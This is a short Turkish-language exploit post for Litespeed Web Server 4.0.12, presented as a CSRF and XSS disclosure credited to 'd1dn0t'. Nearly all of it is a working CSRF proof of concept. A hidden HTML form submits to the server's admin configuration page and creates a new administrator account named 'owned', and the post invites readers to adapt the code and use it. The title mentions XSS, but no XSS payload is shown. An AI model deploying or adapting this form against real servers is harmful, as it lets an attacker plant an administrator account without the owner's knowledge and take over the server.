Konu: Litespeed Web Server v4.0.12 (Add Admin) CSRF and XSS Vulnerabilities

Kod'da bulunan gerekli yerleri degisip kullanabilirsiniz.
Acıgı bulan : d1dn0t

Kod:

<form name="csrf" action="http://192.168.1.10:7080/config/confMgr.php" 
method="post" target="hidden"> 
<input type="hidden" name="a" value="s" /> 
<input type="hidden" name="m" value="admin" /> 
<input type="hidden" name="p" value="security" /> 
<input type="hidden" name="t" value="`ADMIN_USR_NEW" /> 
<input type="hidden" name="r" value="" /> 
<input type="hidden" name="file_create" value="" /> 
<input type="hidden" name="name" value="owned" /> 
<input type="hidden" name="pass" value="password" /> 
<input type="hidden" name="pass1" value="password" /> 
</form>